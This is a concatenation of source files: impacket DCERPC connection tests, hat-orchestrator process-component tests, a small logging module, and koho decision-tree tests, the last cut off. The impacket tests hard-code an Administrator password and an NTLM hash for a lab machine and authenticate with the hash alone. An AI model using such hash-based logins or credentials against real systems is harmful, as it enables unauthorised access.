2022-03-16T02:04:47.000Z

impacket/testcases/SMB_RPC/test_dcerpc.py

z3v2cicidi/impacket

d8da712c3dea013c61fe019a7efc7e1289ebb891

[ "Apache-1.1" ]

null

impacket/testcases/SMB_RPC/test_dcerpc.py

z3v2cicidi/impacket

d8da712c3dea013c61fe019a7efc7e1289ebb891

[ "Apache-1.1" ]

3

2019-04-08T13:37:01.000Z

2021-12-06T07:44:54.000Z

import unittest from impacket.dcerpc import transport, epm, dcerpc # aimed at testing just the DCERPC engine, not the particular # endpoints (we should do specific tests for endpoints) # here we're using EPM just beacuse we need one, and it's the # easiest one class DCERPCTests(unittest.TestCase): def test_connection(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) dce.disconnect() def test_connectionHashes(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) dce.disconnect() def test_dceAuth(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain) dce = rpctransport.get_dce_rpc() dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) dce.disconnect() def test_dceAuthHasHashes(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) dce.disconnect() def test_dceTransportFragmentation(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) rpctransport.set_max_fragment_size(1) dce = rpctransport.get_dce_rpc() dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_dceFragmentation(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetWINNTPacketIntegrity(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetHashesWINNTPacketIntegrity(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetAnonWINNTPacketIntegrity(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetWINNTPacketPrivacy(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetHashesWINNTPacketPrivacy(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.set_max_fragment_size(1) dce.set_credentials(*(rpctransport.get_credentials())) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() def test_packetAnonWINNTPacketPrivacy(self): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) rpctransport.set_dport(self.dport) if hasattr(rpctransport, 'set_credentials'): lmhash, nthash = self.hashes.split(':') # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_max_fragment_size(1) dce.connect() dce.set_auth_type(dcerpc.RPC_C_AUTHN_WINNT) dce.set_auth_level(dcerpc.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(epm.MSRPC_UUID_PORTMAP) rpcepm = epm.DCERPCEpm(dce) resp = rpcepm.lookup('', inquireType = epm.RPC_C_EP_ALL_ELTS) dce.disconnect() class TCPTransport(DCERPCTests): def setUp(self): DCERPCTests.setUp(self) # Put specific configuration for target machine with SMB1 self.username = 'Administrator' self.domain = 'FREEFLY' self.serverName = 'ULTIMATE64' self.password = 'Admin123456' self.machine = '192.168.88.105' self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine self.dport = 135 self.hashes = 'aad3b435b51404eeaad3b435b51404ee:ae4c0d5fb959fda8f4cb1d14a8376af4' self.upload = '../../nt_errors.py' class SMBTransport(DCERPCTests): def setUp(self): # Put specific configuration for target machine with SMB_002 DCERPCTests.setUp(self) self.username = 'Administrator' self.domain = 'FREEFLY' self.serverName = 'ULTIMATE64' self.password = 'Admin123456' self.hashes = 'aad3b435b51404eeaad3b435b51404ee:ae4c0d5fb959fda8f4cb1d14a8376af4' self.machine = '192.168.88.105' self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine self.dport = 445 if __name__ == "__main__": import sys if len(sys.argv) > 1: testcase = sys.argv[1] suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) else: suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport)) unittest.TextTestRunner(verbosity=1).run(suite)

46.07234

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0.682553

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0.126254

0.077764

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0.079025

0.862547

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0.839148

0.824296

0

0.015047

0.220467

10,827

234

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0.830569

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false

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0

null

0

1

0

1

0

null

0

7

444ac1d0dbdad286339b939ccb12e408cea7e214

18,680

py

Python

test_pytest/test_unit/test_component.py

hat-open/hat-orchestrator

db729151c5a61f5c4195fb2a7fba0b0131f84e96

[ "Apache-2.0" ]

1

2022-02-01T13:42:57.000Z

test_pytest/test_unit/test_component.py

hat-open/hat-orchestrator

db729151c5a61f5c4195fb2a7fba0b0131f84e96

[ "Apache-2.0" ]

null

test_pytest/test_unit/test_component.py

hat-open/hat-orchestrator

db729151c5a61f5c4195fb2a7fba0b0131f84e96

[ "Apache-2.0" ]

null

import asyncio import unittest.mock import sys import pytest from hat import aio from hat.orchestrator.component import (Status, Component) pytestmark = pytest.mark.asyncio @pytest.fixture() async def process_queue(monkeypatch): queue = aio.Queue() create_subprocess_exec = asyncio.create_subprocess_exec async def mock(*args, **kwargs): p = await create_subprocess_exec(*args, **kwargs) queue.put_nowait(p) return p monkeypatch.setattr(asyncio, 'create_subprocess_exec', mock) return queue def create_component_with_status_queue(conf): component = Component(conf) status_queue = aio.Queue() component.register_change_cb( lambda: status_queue.put_nowait(component.status)) return component, status_queue async def test_delayed_start_stop(): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0.01, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.DELAYED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) component.start() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.is_closed async def test_revive_on_stop(): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': True, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) for i in range(3): component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.set_revive(False) await status_queue.get() component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) with pytest.raises(asyncio.TimeoutError): await asyncio.wait_for(status_queue.get(), timeout=0.01) component.set_revive(True) await status_queue.get() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.is_closed async def test_revive_on_component_finish(): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': [sys.executable, '-c', 'import time; time.sleep(0.001)'], 'delay': 0, 'revive': True, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 2, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) for _ in range(3): assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.is_closed async def test_revive_on_delay(): component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 1, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) for revive in [True, False] * 5: component.set_revive(revive) assert component.revive == revive assert component.status == Status.DELAYED await asyncio.sleep(0) await component.async_close() assert component.status == Status.STOPPED async def test_stop_during_delay(): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 1, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.DELAYED component.stop() assert (await status_queue.get() == Status.STOPPED) assert status_queue.empty() await component.async_close() assert component.is_closed async def test_initial_status(): component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 1, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.DELAYED await component.async_close() assert component.status == Status.STOPPED component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 0, 'revive': False}) assert component.status == Status.STOPPED await component.async_close() assert component.status == Status.STOPPED async def test_closed(): component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert not component.is_closed await component.async_close() assert component.is_closed async def test_conf_properties(): conf = {'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001} component = Component(conf) assert component.name == conf['name'] assert component.delay == conf['delay'] assert component.revive == conf['revive'] await component.async_close() @pytest.mark.timeout(1) async def test_call_create_subprocess_exec_without_revive(): with unittest.mock.patch('asyncio.create_subprocess_exec') as create: create.return_value.stdout.readline.return_value = None component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(0)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while create.call_count < 1: await asyncio.sleep(0.001) await component.async_close() async def test_call_create_subprocess_exec_with_revive(): with unittest.mock.patch('asyncio.create_subprocess_exec') as create: create.return_value.stdout.readline.return_value = None component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(0)'], 'delay': 0, 'revive': True, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while create.call_count <= 5: await asyncio.sleep(0.001) await component.async_close() async def test_process_stopped_on_close(process_queue): component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) p = await process_queue.get() await asyncio.sleep(0.01) assert p.returncode is None await component.async_close() assert p.returncode is not None @pytest.mark.timeout(1) async def test_process_stopped_on_stop(process_queue): component = Component({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(10)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) p = await process_queue.get() assert p.returncode is None component.stop() await asyncio.wait_for(p.wait(), 1) await component.async_close() async def test_new_process_on_start(process_queue): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': [sys.executable, '-c', 'import time; time.sleep(100)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) for i in range(5): if i != 0: component.start() p = await process_queue.get() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert p.returncode is None component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert p.returncode is not None await component.async_close() assert status_queue.empty() assert process_queue.empty() async def test_soft_terminate_process(process_queue, tmpdir): component_path = tmpdir / 'component.py' running_path = tmpdir / 'running' signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT' with open(component_path, 'w', encoding='utf-8') as f: f.write('import signal, sys, time\n' f'signal.signal({signum}, lambda *args: sys.exit(123))\n' f'open(r"{running_path}", "w").close()\n' 'while True:\n' ' time.sleep(0.001)\n') component = Component({ 'name': 'name', 'args': [sys.executable, str(component_path)], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 1, 'sigkill_timeout': 0.001}) while not running_path.exists(): await asyncio.sleep(0.001) p = await process_queue.get() assert p.returncode is None await component.async_close() assert p.returncode == 123 @pytest.mark.timeout(1) async def test_hard_terminate_process(process_queue, tmpdir): component_path = tmpdir / 'component.py' running_path = tmpdir / 'running' signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT' with open(component_path, 'w', encoding='utf-8') as f: f.write('import signal, sys, time\n' f'signal.signal({signum}, lambda *args: None)\n' f'open(r"{running_path}", "w").close()\n' 'while True:\n' ' time.sleep(0.001)\n') component = Component({ 'name': 'name', 'args': [sys.executable, str(component_path)], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while not running_path.exists(): await asyncio.sleep(0.001) p = await process_queue.get() assert p.returncode is None await component.async_close() assert p.returncode is not None async def test_noop_revive(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': True, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.set_revive(True) component.set_revive(True) component.set_revive(True) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_noop_start(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while True: if await status_queue.get() == Status.RUNNING: break for _ in range(5): component.start() assert component.status == Status.RUNNING await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_noop_stop(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) await status_queue.get() == Status.STARTING component.stop() while True: if await status_queue.get() == Status.STOPPED: break for _ in range(5): component.stop() assert component.status == Status.STOPPED await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_starting_no_interrupt(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) for _ in range(5): component.start() component.stop() assert (await status_queue.get() == Status.RUNNING) assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_stopping_no_interrupt(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while True: if await status_queue.get() == Status.RUNNING: break component.stop() assert (await status_queue.get() == Status.STOPPING) for _ in range(5): component.stop() component.start() assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_actions_not_queued_for_seq_exec(): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'import time; time.sleep(30)'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while True: if await status_queue.get() == Status.RUNNING: break for _ in range(5): component.start() component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() async def test_console_output(capsys): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'print("abc")'], 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while (await status_queue.get()) != Status.STOPPED: pass await component.async_close() captured = capsys.readouterr() assert captured.out.endswith('abc\n') async def test_stdin_output(capsys): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': [sys.executable, '-c', 'print(input())'], 'stdin': 'abc\n', 'delay': 0, 'revive': False, 'auto_start': True, 'start_delay': 0.001, 'create_timeout': 0.1, 'sigint_timeout': 0.001, 'sigkill_timeout': 0.001}) while (await status_queue.get()) != Status.STOPPED: pass await component.async_close() captured = capsys.readouterr() assert captured.out.endswith('abc\n')

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684

py

Python

common_utils/simple_logging/__init__.py

mechaphish/common-utils

54672db02cb85d283f82cea9e4a9a62361eb73c8

[ "BSD-2-Clause" ]

5

2016-08-20T23:39:24.000Z

2020-11-06T23:04:57.000Z

common_utils/simple_logging/__init__.py

mechaphish/common-utils

54672db02cb85d283f82cea9e4a9a62361eb73c8

[ "BSD-2-Clause" ]

null

common_utils/simple_logging/__init__.py

mechaphish/common-utils

54672db02cb85d283f82cea9e4a9a62361eb73c8

[ "BSD-2-Clause" ]

6

2016-08-21T13:13:35.000Z

2020-11-06T23:05:06.000Z

import sys def log_error(msg): """ Log error message :param msg: Message to be logged :return: None """ print("[!] " + str(msg)) sys.stdout.flush() def log_info(msg): """ Log info message :param msg: Message to be logged :return: None """ print("[*] " + str(msg)) sys.stdout.flush() def log_success(msg): """ Log success message :param msg: Message to be logged :return: None """ print("[+] " + str(msg)) sys.stdout.flush() def log_failure(msg): """ Log failure message :param msg: Message to be logged :return: None """ print("[-] " + str(msg)) sys.stdout.flush()

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py

Python

koho/sklearn/tests/test_decision_tree_classifier.py

AIWerkstatt/koho

1136ac2de29a89052bf0f4f4747424eb0b6b0c2b

[ "BSD-3-Clause" ]

2

2019-03-14T22:29:52.000Z

2019-04-30T23:27:28.000Z

koho/sklearn/tests/test_decision_tree_classifier.py

AIWerkstatt/koho

1136ac2de29a89052bf0f4f4747424eb0b6b0c2b

[ "BSD-3-Clause" ]

null

koho/sklearn/tests/test_decision_tree_classifier.py

AIWerkstatt/koho

1136ac2de29a89052bf0f4f4747424eb0b6b0c2b

[ "BSD-3-Clause" ]

null

""" Testing of the Decision Tree Classifier. """ # Author: AI Werkstatt (TM) # (C) Copyright 2019, AI Werkstatt (TM) www.aiwerkstatt.com. All rights reserved. import pytest import numpy as np import pickle import graphviz from sklearn.datasets import load_iris from sklearn.utils.estimator_checks import check_estimator from sklearn.pipeline import make_pipeline from sklearn.model_selection import GridSearchCV from sklearn.exceptions import NotFittedError from koho.sklearn import DecisionTreeClassifier precision = 1e-7 # used for floating point "==" test # iris dataset @pytest.fixture def iris(): return load_iris() # sklearn compatible # ================== # sklearn's check_estimator() def test_sklearn_check_estimator(): check_estimator(DecisionTreeClassifier) # sklearn's pipeline def test_sklearn_pipeline(iris): X, y = iris.data, iris.target pipe = make_pipeline(DecisionTreeClassifier(random_state=0)) pipe.fit(X, y) pipe.predict(X) pipe.predict_proba(X) score = pipe.score(X, y) assert score > 1.0 - precision and score < 1.0 + precision # sklearn's grid search def test_sklearn_grid_search(iris): X, y = iris.data, iris.target parameters = [{'class_balance': ['balanced'], 'max_depth': [1, 3, 5]}] grid_search = GridSearchCV(DecisionTreeClassifier(random_state=0), parameters, cv=3) grid_search.fit(X, y) assert grid_search.best_params_['class_balance'] == 'balanced' assert grid_search.best_params_['max_depth'] == 5 clf = DecisionTreeClassifier(random_state=0) clf.set_params(**grid_search.best_params_) assert clf.class_balance == 'balanced' assert clf.max_depth == 5 assert clf.max_features is None assert clf.max_thresholds is None assert clf.random_state == 0 clf.fit(X, y) score = clf.score(X, y) assert score > 1.0 - precision and score < 1.0 + precision # sklearn's persistence def test_sklearn_persistence(iris): X, y = iris.data, iris.target clf = DecisionTreeClassifier(random_state=0) clf.fit(X, y) with open("clf_dtc.pkl", "wb") as f: pickle.dump(clf, f) with open("clf_dtc.pkl", "rb") as f: clf2 = pickle.load(f) score = clf2.score(X, y) assert score > 1.0 - precision and score < 1.0 + precision # iris dataset # ============ def test_iris(iris): X, y = iris.data, iris.target clf = DecisionTreeClassifier(max_depth=3, random_state=0) assert clf.class_balance == 'balanced' assert clf.max_depth == 3 assert clf.max_features is None assert clf.max_thresholds is None assert clf.random_state == 0 # Training clf.fit(X, y) # Feature Importances feature_importances = clf.feature_importances_ feature_importances_target = [0., 0., 0.58561555, 0.41438445] for i1, i2 in zip(feature_importances, feature_importances_target): assert i1 > i2 - precision and i1 < i2 + precision # Visualize Tree dot_data = clf.export_graphviz( feature_names=iris.feature_names, class_names=iris.target_names, rotate=True) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="petal length (cm) <= 2.45\np(class) = [0.33, 0.33, 0.33]\nclass, n = 150", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=3.333333, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 2 [penwidth=6.666667] ;' '\n' \ r'1 [label="[1, 0, 0]\nsetosa", fillcolor="#FF0000FF"] ;' '\n' \ r'2 [label="petal width (cm) <= 1.75\n[0, 0.5, 0.5]", fillcolor="#00FF003F"] ;' '\n' \ r'2 -> 3 [penwidth=3.600000] ;' '\n' \ r'2 -> 6 [penwidth=3.066667] ;' '\n' \ r'3 [label="petal length (cm) <= 4.95\n[0, 0.91, 0.09]", fillcolor="#00FF00BE"] ;' '\n' \ r'3 -> 4 [penwidth=3.200000] ;' '\n' \ r'3 -> 5 [penwidth=0.400000] ;' '\n' \ r'4 [label="[0, 0.98, 0.02]\nversicolor", fillcolor="#00FF00EF"] ;' '\n' \ r'5 [label="[0, 0.33, 0.67]\nvirginica", fillcolor="#0000FF55"] ;' '\n' \ r'6 [label="petal length (cm) <= 4.85\n[0, 0.02, 0.98]", fillcolor="#0000FFEE"] ;' '\n' \ r'6 -> 7 [penwidth=0.200000] ;' '\n' \ r'6 -> 8 [penwidth=2.866667] ;' '\n' \ r'7 [label="[0, 0.33, 0.67]\nvirginica", fillcolor="#0000FF55"] ;' '\n' \ r'8 [label="[0, 0, 1]\nvirginica", fillcolor="#0000FFFF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # Export textual format t = clf.export_text() t_target = r'0 X[2]<=2.45 [50, 50, 50]; 0->1; 0->2; 1 [50, 0, 0]; 2 X[3]<=1.75 [0, 50, 50]; 2->3; 2->6; 3 X[2]<=4.95 [0, 49, 5]; 3->4; 3->5; 4 [0, 47, 1]; 5 [0, 2, 4]; 6 X[2]<=4.85 [0, 1, 45]; 6->7; 6->8; 7 [0, 1, 2]; 8 [0, 0, 43]; ' assert t == t_target # Persistence with open("iris_dtc.pkl", "wb") as f: pickle.dump(clf, f) with open("iris_dtc.pkl", "rb") as f: clf2 = pickle.load(f) assert clf2.export_text() == clf.export_text() # Classification c = clf2.predict(X) assert sum(c) == 152 cp = clf2.predict_proba(X) assert sum(sum(cp)) > 150 - precision and sum(sum(cp)) < 150 + precision # Testing score = clf2.score(X, y) assert score > 0.9733333333333334 - precision and score < 0.9733333333333334 + precision # simple example (User's Guide C++) # ================================= classes = ['A', 'B'] features = ['a', 'b', 'c'] X = np.array([ [0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], 